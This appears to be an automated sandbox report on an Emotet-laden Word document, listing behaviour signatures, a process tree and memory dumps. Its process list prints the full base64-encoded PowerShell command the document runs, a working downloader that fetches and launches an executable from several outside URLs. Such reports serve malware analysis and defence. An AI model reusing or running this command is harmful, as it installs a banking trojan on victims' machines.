Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    90s
  • max time network
    166s
  • resource
    win7

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_8284e996aea8e5075256c03a93eaa6df.html

  • Sample

    191011-mbbqjl441n

  • SHA256

    9e1d7cd63b0edcb4b3c4b1c86ecf477245ba82b4291bf26484fe2dd6cd9d12a1

Score
N/A

Malware Config

Signatures

  • Suspicious behavior: AddClipboardFormatListener
  • Suspicious use of SetWindowsHookEx
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 6 IoCs
  • Modifies registry class 1 TTPs 364 IoCs
    persistence
  • Suspicious use of FindShellTrayWindow
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Emotet Sync 1 IoCs
    trojanbanker
  • Suspicious behavior: EmotetMutantsSpam
  • emotet family
    family

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_8284e996aea8e5075256c03a93eaa6df.html.doc"
    1⤵
    • Drops Office document
    • Drops file in system dir
    • Modifies registry class
    PID:1272
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABiADAAOQAwADUAMAAyADAAYwA5ADAAYwA1AD0AJwBiADgAMQAzADcANgAzADQAMwA5AGMAMABjACcAOwAkAGIAeAAyADQANwAwADQANgAwADUAMgAgAD0AIAAnADgANwA3ACcAOwAkAHgAOQAwADEAeAA0ADMAMQAyADMANQAzAD0AJwB4AGIAYwA5ADEAMgAyADAANAAzAHgAJwA7ACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgB4ADIANAA3ADAANAA2ADAANQAyACsAJwAuAGUAeABlACcAOwAkAHgAMwBjAGIAMAA0ADIAOQA1ADcANgA4AD0AJwBjAHgAMQB4AHgAeAB4ADYAYgA4ADUAJwA7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgB3AEUAYgBDAGwAaQBFAE4AVAA7ACQAYgBjADMAMwAwADEAOAAwAGMAMAA4AD0AJwBoAHQAdABwAHMAOgAvAC8AdABoAGUAcwBpAGwAdgBlAHIAYQBuAHQALgBjAG8AbQAvAHQAZQBzAHQALwBkAHYAcgA5AC8AKgBoAHQAdABwADoALwAvAGYAaQByAHMAdABtAG4AZAAuAGMAbwBtAC8AdwBwAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAawA5ADYAMAAvACoAaAB0AHQAcAA6AC8ALwBjAGkAdAB5AGwAYQBuAGQAZwBvAHYAYQBwAC4AbgBlAHQALwA4AGQAcQBzADUAZgB2AC8ANgBKAC8AKgBoAHQAdABwADoALwAvAGQAZQByAGUAZABpAGEALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBjAGIAYQBzAC8AKgBoAHQAdABwADoALwAvAGYAYQB0AHQAbwByAGkAYQBpAHAAbwBuAHQAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbwAxAHcAaQBFAHEAUABmAE4ALwAnAC4AIgBTAHAAYABsAGkAdAAiACgAJwAqACcAKQA7ACQAeAAzADMANgBjADUAMAAxADAAYgAyADcAPQAnAGIAOQA2ADcAYgAxAHgAMgAwADEAMgAnADsAZgBvAHIAZQBhAGMAaAAoACQAeAAzADcANQAwADAAOAAxADAAMAA1ADcAYwAgAGkAbgAgACQAYgBjADMAMwAwADEAOAAwAGMAMAA4ACkAewB0AHIAeQB7ACQAYwA0ADQAMgA5ADAAMgAwADIAeAB4ADAANAAuACIAZABPAFcAbgBMAGAATwBhAGQAZgBgAEkATABFACIAKAAkAHgAMwA3ADUAMAAwADgAMQAwADAANQA3AGMALAAgACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJABiADYAMgA2ADgAMQB4AGMAMwBjAHgANAA9ACcAeABiADAAMAA1AGIAMAA1ADAANgB4ADMANQAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAGIANAA4ADAANwA5ADAANwAwAGIAMQA5ADIAKQAuACIATABlAGAATgBHAHQAaAAiACAALQBnAGUAIAAyADcAOQAxADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAcwB0AEEAYABSAHQAIgAoACQAYgA0ADgAMAA3ADkAMAA3ADAAYgAxADkAMgApADsAJAB4ADIAYgAwADcAOAA3ADcAOAA0ADAAMAA9ACcAYgAxADAAMgAwADEAMAAxADAAMAA2ADAAJwA7AGIAcgBlAGEAawA7ACQAYgAyADAAOAAyADAAeAAwADIAYwAzADMANQA9ACcAeAAxAHgAMQAxAHgAMAA0AGMANQA4ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGIAYwA1ADkAMAAwAGIAMwA4ADEAOAAyADcAPQAnAGMAMAA3ADkAOAAwADkAOQA2ADgANgA4ADkAJwA=
    1⤵
    • Drops file in system dir
    • Suspicious use of AdjustPrivilegeToken
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:1004
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "-2116783818-273245337-1796295983-348978866550150070-11210351685036531981261026748"
    1⤵
      PID:1596
    • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
      "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
      1⤵
      • Uses Task Scheduler COM API
      PID:1948
    • C:\Users\Admin\877.exe
      "C:\Users\Admin\877.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1152
    • C:\Users\Admin\877.exe
      --406b0556
      1⤵
      • Drops file in system dir
      • Emotet Sync
      PID:2004
    • C:\Windows\SysWOW64\loadarouter.exe
      "C:\Windows\SysWOW64\loadarouter.exe"
      1⤵
      • Suspicious use of WriteProcessMemory
      PID:1068
    • C:\Windows\SysWOW64\loadarouter.exe
      --f7a216da
      1⤵
      • Drops file in system dir
      PID:2036

    Network

    MITRE ATT&CK Enterprise v15

    MITRE ATT&CK Additional techniques

    • T1130

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1272-0-0x0000000006F80000-0x0000000007180000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1272-1-0x0000000006F80000-0x0000000007180000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/1272-2-0x0000000006F80000-0x0000000007180000-memory.dmp

      Filesize

      2.0MB

      Download

    • memory/2004-5-0x0000000000400000-0x0000000000481000-memory.dmp

      Filesize

      516KB

      Download

    • memory/2036-8-0x0000000000400000-0x0000000000481000-memory.dmp

      Filesize

      516KB

      Download